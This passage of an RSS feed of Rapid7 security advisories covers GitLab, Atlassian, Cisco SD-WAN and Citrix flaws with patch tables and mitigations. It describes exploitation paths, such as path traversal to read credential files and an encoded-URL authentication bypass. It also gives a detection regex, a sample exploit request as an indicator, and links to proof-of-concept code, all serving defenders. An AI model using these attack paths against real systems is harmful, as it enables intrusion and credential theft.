ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 13, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-ivanti-connect-secure-zero-day-exploited-in-the-wild-cve-2026-104935</link>
      <guid isPermaLink="false">blt5ab6e5d530b0db28</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 13 Oct 2026 17:06:05 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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    <item>
      <title><![CDATA[CVE-2026-97229: Critical Unauthenticated Remote Code Execution in GitLab]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 12, 2026, GitLab </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/"><span style='font-size: undefined;'>published a critical patch release</span></a><span style='font-size: undefined;'> for </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-97229"><span style='font-size: undefined;'>CVE-2026-97229</span></a><span style='font-size: undefined;'>, an integer overflow or wraparound (</span><a href="https://cwe.mitre.org/data/definitions/190.html"><span style='font-size: undefined;'>CWE-190</span></a><span style='font-size: undefined;'>) in the CI/CD regular expression compiler affecting GitLab Community Edition (CE) and Enterprise Edition (EE). GitLab assigned the vulnerability a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"><span style='font-size: undefined;'>10.0</span></a><span style='font-size: undefined;'>. Under certain conditions, a remote attacker can execute arbitrary code on an affected GitLab server through a specially crafted regular expression stored in a malicious CI/CD configuration. While the vendor supplied CVSS score indicates that exploitation is fully unauthenticated, in reproducing the exploit it was noted that an attacker must have a mechanism to plant a malicious CI/CD configuration to a repository prior to triggering the vulnerability. On GitLab instances where new users can self register and create projects, this constraint is removed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability affects self-managed GitLab instances across all deployment types. GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 29, 2026, CVE-2026-97229 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>list of known exploited vulnerabilities (KEV)</span></a><span style='font-size: undefined;'>, based on evidence of active exploitation. Rapid Intelligence has </span><a href="https://github.com/jburgess-r7/CVE-2026-97229-PoC"><span style='font-size: undefined;'>independently reproduced arbitrary code execution</span></a><span style='font-size: undefined;'> on an unpatched, official GitLab CE image. Given the vulnerability's maximum CVSS score, network-accessible trigger, and code execution in a GitLab application worker, Rapid7 recommends upgrading affected self-managed instances on an urgent basis, outside of normal patch cycles.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7's testing found that an attacker must first be able to commit a malicious CI/CD configuration file .gitlab-ci.yml, and a repository path containing UTF-8 characters to a branch in a public project. For example, an ordinary account can satisfy this prerequisite by creating a public project on a self-managed GitLab instance where that functionality is permitted. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The crafted regular expression initially compiles in a compact US-ASCII representation and passes GitLab's regular expression validation. When it is evaluated against a specially formed, valid UTF-8 repository path, Ruby's Onigmo regular expression engine recompiles it for the new encoding after those checks have completed. An integer overflow in the compiler's program-size calculation then causes invalid regular expression instructions to be generated. The resulting loss of control-flow integrity can be used to execute attacker-controlled Onigmo VM operations in the Ruby process and run an operating system command as the GitLab </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>git</span><span style='font-size: undefined;'> user.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 validated the complete chain against the official GitLab </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4.1</span><span style='font-size: undefined;'> CE Linux amd64 image with address space layout randomization enabled. The same input did not execute against the official patched </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4.2</span><span style='font-size: undefined;'> CE image. Further root cause and exploit-chain details can be found in a separate </span><a href="https://www.rapid7.com/blog/post/ra-gitlab-ci-cd-regex-integer-overflow-technical-analysis-cve-2026-97229/"><span style='font-size: undefined;'>Rapid7 technical analysis</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A vendor-provided patch is available to remediate CVE-2026-97229. Organizations running affected self-managed GitLab CE or EE instances should immediately upgrade to a fixed version, without waiting for a regular patch cycle:</span></p><p></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected GitLab CE/EE versions</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed version</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.2</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.2.8</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.2.8</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.3</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.3.5</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.3.5</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>All versions from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4.2</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>19.4.2</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab.com has already been updated, and GitLab Dedicated customers do not need to take action. Until affected self-managed instances can be upgraded, restricting anonymous access to public projects and preventing untrusted users from creating or writing to public projects can reduce exposure to the exploit path demonstrated by Rapid7. These controls address only the demonstrated delivery path and do not remediate the vulnerable regular expression compiler.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to GitLab's </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-97229 with an authenticated vulnerability check expected to be available in today’s (October 13) content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 13, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><ul><li><span style='font-size: undefined;'>Added Rapid7 </span><a href="https://github.com/jburgess-r7/CVE-2026-97229-PoC"><span style='font-size: undefined;'>PoC</span></a><span style='font-size: undefined;'> Github repo link.</span></li></ul><li><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 16, 2026</strong></span><span style='font-size: undefined;'>: Added link to Rapid7 </span><a href="https://www.rapid7.com/blog/post/ra-gitlab-ci-cd-regex-integer-overflow-technical-analysis-cve-2026-97229/" target="_self"><span style='font-size: undefined;'>technical analysis</span></a><span style='font-size: undefined;'>.</span></p></li><li><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 30, 2026</strong></span><span style='font-size: undefined;'>: Updated Overview to reflect the addition of CVE-2026-97229 to CISA's KEV catalog on October 29, 2026.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-97229-critical-unauthenticated-remote-code-execution-in-gitlab</link>
      <guid isPermaLink="false">blt62de24e2cbb3d427</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Analysis]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 13 Oct 2026 11:29:03 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[CVE-2026-21589: Critical unauthenticated arbitrary file access in Atlassian products]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 5, 2026, Atlassian </span><a href="https://confluence.atlassian.com/security/cve-2026-21589-arbitrary-file-access-vulnerability-impacts-multiple-products-1870495748.html"><span style='font-size: undefined;'>published a security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-21589/"><span style='font-size: undefined;'>CVE-2026-21589</span></a><span style='font-size: undefined;'>, a critical arbitrary file access vulnerability affecting eight products: Bitbucket Data Center, Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible, and Fisheye. Atlassian assigned the vulnerability a CVSSv4 score of </span><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H"><span style='font-size: undefined;'>9.3</span></a><span style='font-size: undefined;'>. An unauthenticated remote attacker who knows a target file's exact name and path can access it within the application's web root; the vulnerability does not provide directory listing or enumeration. On October 15, CVE-2026-21589 was added to the CISA Known Exploited Vulnerabilities (KEV) catalog.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Atlassian's advisory treats all versions before the applicable fixed releases as affected, including unsupported versions. Affected Atlassian Cloud products have already been patched, and no action is required from Cloud customers.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Detailed technical analysis and file-read proof-of-concept scripts are public, so Rapid7 recommends patching on an emergency basis, outside of normal patch cycles, and reviewing access logs for attempted exploitation.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21589"><span style='font-size: undefined;'>NVD</span></a><span style='font-size: undefined;'> lists files or directories accessible to external parties (</span><a href="https://cwe.mitre.org/data/definitions/552.html"><span style='font-size: undefined;'>CWE-552</span></a><span style='font-size: undefined;'>) as the weakness associated with CVE-2026-21589.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 6, watchTowr Labs </span><a href="https://labs.watchtowr.com/you-wont-hear-about-these-even-in-myths-atlassian-jira-confluence-and-more-pre-auth-arbitrary-file-read-cve-2026-21589/"><span style='font-size: undefined;'>published a technical analysis</span></a><span style='font-size: undefined;'> based on comparisons of vulnerable and patched Jira, Confluence, and Bitbucket packages. Their analysis identified a path traversal vulnerability in Atlassian's web-resource handling: double-colon (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'>::</span><span style='font-size: undefined;'>) sequences can become path separators during request processing, allowing traversal components to reach the resource-loading code, resulting in the contents of arbitrary file being read back to an attacker.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Their testing could not traverse outside the Tomcat context, but could read files throughout the application web root. In an Atlassian Crowd deployment that had Jira configured, reading </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>WEB-INF/classes/crowd.properties</span><span style='font-size: undefined;'> exposed application credentials. With network access to Crowd, they used those credentials to create a user and add it to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>jira-administrators</span><span style='font-size: undefined;'>; Crowd's IP allowlisting can block this direct route.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations should upgrade each affected installation to a listed fixed version or the latest available version. Atlassian's October 5 advisory lists the following fixed versions:</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Product</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed versions</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Bitbucket Data Center</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>9.4.26</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>10.2.8</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>10.5.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Confluence Data Center</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>9.2.26</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>10.2.19</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Jira Service Management Data Center</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>5.12.40</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>10.3.26</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>11.3.12</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Jira Software Data Center</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>9.12.40</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>10.3.26</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>11.3.12</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Bamboo Data Center</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>10.2.24</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>12.1.12</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Crowd Data Center</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>6.3.7</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>7.0.3</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>7.1.7</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>7.2.4</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Crucible</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>4.9.15</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Fisheye</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>4.9.15</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations unable to patch immediately should remove affected instances from the internet or otherwise restrict them from external network access. Atlassian provides a Web Application Firewall or proxy rule for all affected products, a Tomcat RewriteValve mitigation for Confluence, Jira Service Management, Jira Software, Bamboo, and Crowd, and a separate </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>urlrewrite.xml</span><span style='font-size: undefined;'> rule for Bitbucket. These mitigations are limited and are not replacements for patching.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Atlassian recommends URL-decoding each access-log request line up to twice, then searching for </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>..</span><span style='font-size: undefined;'> immediately adjacent to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>\</span><span style='font-size: undefined;'>, or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>::</span><span style='font-size: undefined;'>. Alternatively, search raw logs with the vendor-supplied regex:</span></p><pre language="html">(?is).*(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2})(?:\.|%(?:25)*2e){2}(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2}|;|%(?:25)*3b|$).*</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Public testing artifacts for Jira, Confluence, and Bitbucket include a </span><a href="https://github.com/watchtowrlabs/watchTowr-vs-Atlassian-CVE-2026-21589/blob/main/watchTowr-vs-Atlassian-CVE-2026-21589.py"><span style='font-size: undefined;'>Python file-read PoC</span></a><span style='font-size: undefined;'> and a </span><a href="https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-21589.yaml"><span style='font-size: undefined;'>Nuclei template</span></a><span style='font-size: undefined;'>. If investigation identifies access to protected configuration files, organizations should rotate exposed credentials and other secrets after containing the affected systems.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation and investigation guidance, please refer to the </span><a href="https://confluence.atlassian.com/security/cve-2026-21589-arbitrary-file-access-vulnerability-impacts-multiple-products-1870495748.html"><span style='font-size: undefined;'>vendor security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-21589 with unauthenticated vulnerability checks on Jira Software Data Center available in the October 8 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 7, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>October 8, 2026: </strong></span><span style='font-size: undefined;'>Updated Rapid7 Customers section to reflect availability of vulnerability checks.</span></li><li><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 16, 2026: </strong></span><span style='font-size: undefined;'>Updated the Overview section to reflect the addition of CVE-2026-21589 to the KEV catalog.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-21589-critical-unauthenticated-arbitrary-file-access-in-atlassian-products</link>
      <guid isPermaLink="false">blt92ce761fed381f31</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 07 Oct 2026 12:11:26 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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      <title><![CDATA[Critical Cisco Catalyst SD-WAN Manager API authentication bypass exploited in the wild (CVE-2026-76504)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On September 30, 2026, Cisco </span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-webauth-xr8beuuU"><span style='font-size: undefined;'>published a security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-76504/"><span style='font-size: undefined;'>CVE-2026-76504</span></a><span style='font-size: undefined;'>, a critical API authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Manager. The vulnerability has a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'>9.8</span></a><span style='font-size: undefined;'> and results from improper handling of URL encoding (</span><a href="https://cwe.mitre.org/data/definitions/177.html"><span style='font-size: undefined;'>CWE-177</span></a><span style='font-size: undefined;'>). An unauthenticated, remote attacker can send a crafted HTTP request that bypasses an authentication rule for a specific API endpoint, gaining access to the API with the privileges of the admin user.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>According to Cisco, CVE-2026-76504 is being actively exploited in the wild; Cisco PSIRT became aware of the activity in September 2026. Cisco Catalyst SD-WAN Manager systems with ports exposed to the internet are at risk of compromise. The vulnerability affects the product regardless of system configuration, and Cisco has not provided a workaround, however vendor supplied updates are available. Rapid7 strongly recommends that organizations upgrade affected systems to a fixed release on an emergency basis, outside of normal patch cycles, and investigate internet-facing systems for signs of exploitation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Cisco Catalyst SD-WAN Manager was also affected by two critical, unauthenticated peering authentication flaws earlier in 2026: </span><a href="https://www.rapid7.com/blog/post/ra-cve-2026-20127-analysis/"><span style='font-size: undefined;'>CVE-2026-20127</span></a><span style='font-size: undefined;'> and Rapid7-discovered </span><a href="https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/"><span style='font-size: undefined;'>CVE-2026-20182</span></a><span style='font-size: undefined;'>. Both were distinct issues in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>vdaemon</span><span style='font-size: undefined;'> service and similar parts of its networking stack. CVE-2026-76504 targets a separate API authentication path, but the recurrence of authentication bypasses in internet-facing Catalyst SD-WAN control components reinforces the need for emergency remediation.</span></p><p><span style='font-size: undefined;'>On September 30, 2026, CVE-2026-76504 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV)</span></a><span style='font-size: undefined;'>, based on evidence of active exploitation. CISA set a remediation due date of October 3, 2026.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Cisco has released software updates that remediate CVE-2026-76504. Organizations running affected instances of Cisco Catalyst SD-WAN Manager should upgrade to an appropriate fixed release listed below without waiting for a regular patch cycle:</span></p><p></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Cisco Catalyst SD-WAN Software release</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>First fixed release</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Earlier than </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.9</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Migrate to a fixed release</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.9</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.9.10.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.12</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.12.8.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.15</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.15.6.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.18</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.18.4.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.1</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.1.2.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.2</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.2.1</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Cisco has addressed the vulnerability in the cloud-based Cisco SD-WAN Cloud (Cisco Managed) release </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>20.15.605</span><span style='font-size: undefined;'>, and indicates that no customer action is required for that service.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>There are no workarounds. As a temporary mitigation, Cisco recommends that on-premises customers prevent access to the system from unsecured networks. If internet access is required, restrict access to known, trusted hosts and protect Cisco Catalyst SD-WAN control components behind a filtering device. Cisco indicates that this mitigation is already deployed in Cisco Catalyst SD-WAN Cloud Hosted environments. Organizations should apply updates even when the mitigation is in place.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because active exploitation has occurred, Rapid7 strongly recommends that organizations audit affected systems for compromise. For help assessing a potentially compromised system, Cisco customers may open a Severity 3 TAC case with CVE-2026-76504 in the title and provide an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>admin-tech</span><span style='font-size: undefined;'> file generated with the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>request admin-tech</span><span style='font-size: undefined;'> command.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance and release compatibility information, please refer to the </span><a href="https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-webauth-xr8beuuU"><span style='font-size: undefined;'>vendor's security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;">Exposure Command, Vulnerability Management, and Nexpose</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-76504 with vulnerability checks expected to be available in the October 1 content release.</span></p><h2 style="direction: ltr;">Indicators of compromise</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Cisco recommends reviewing the following logs for requests related to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>j_security_check</span><span style='font-size: undefined;'> from unknown or unauthorized IP addresses:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/var/log/nms/containers/service-proxy/serviceproxy-access.log</span><span style='font-size: undefined;'>: Requests with an encoded character in the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>j_security_check</span><span style='font-size: undefined;'> path, such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>POST /%6a_security_check HTTP/1.1</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/var/log/nms/vmanage-server.log</span><span style='font-size: undefined;'>: Requests to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>j_security_check</span><span style='font-size: undefined;'> associated with usernames beginning with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>viptela-reserved-</span><span style='font-size: undefined;'>.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>%6a</span><span style='font-size: undefined;'> value, which URI-encodes the character </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>j</span><span style='font-size: undefined;'>, is only an example. According to Cisco, an attacker can exploit the vulnerability by encoding any single character in the request. The vendor cautions that these log entries can also occur during standard operations and should be evaluated against normal network posture to avoid false positives.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 30, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>October 1, 2026</strong></span><span style='font-size: undefined;'>: Updated to reflect CVE-2026-76504 being added to the CISA KEV list.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-critical-cisco-catalyst-sd-wan-manager-api-authentication-bypass-exploited-in-the-wild-cve-2026-76504</link>
      <guid isPermaLink="false">blt6ae08dff53bf0cae</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Vulnerability Management]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 30 Sep 2026 15:09:22 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
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    <item>
      <title><![CDATA[Zero-Day Exploitation of Citrix NetScaler ADC and Gateway: CVE-2026-88771 and CVE-2026-88772]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On September 27, 2026, Citrix </span><a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096"><span style='font-size: undefined;'>disclosed</span></a><span style='font-size: undefined;'> eight new vulnerabilities affecting NetScaler ADC and NetScaler Gateway, including two critical remote code execution (RCE) vulnerabilities: </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88771/"><span style='font-size: undefined;'>CVE-2026-88771</span></a><span style='font-size: undefined;'> and </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-88772/"><span style='font-size: undefined;'>CVE-2026-88772</span></a><span style='font-size: undefined;'>. Both of these RCE vulnerabilities carry a critical CVSSv4 score of 9.5, and both have been confirmed as being </span><span style='font-size: undefined;'><strong>actively exploited in the wild as zero-days prior to the vendor disclosure</strong></span><span style='font-size: undefined;'>. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-88771 affects vulnerable NetScaler deployments in their default configuration, with no additional product features required. The vendor has also indicated that the attack complexity for exploiting 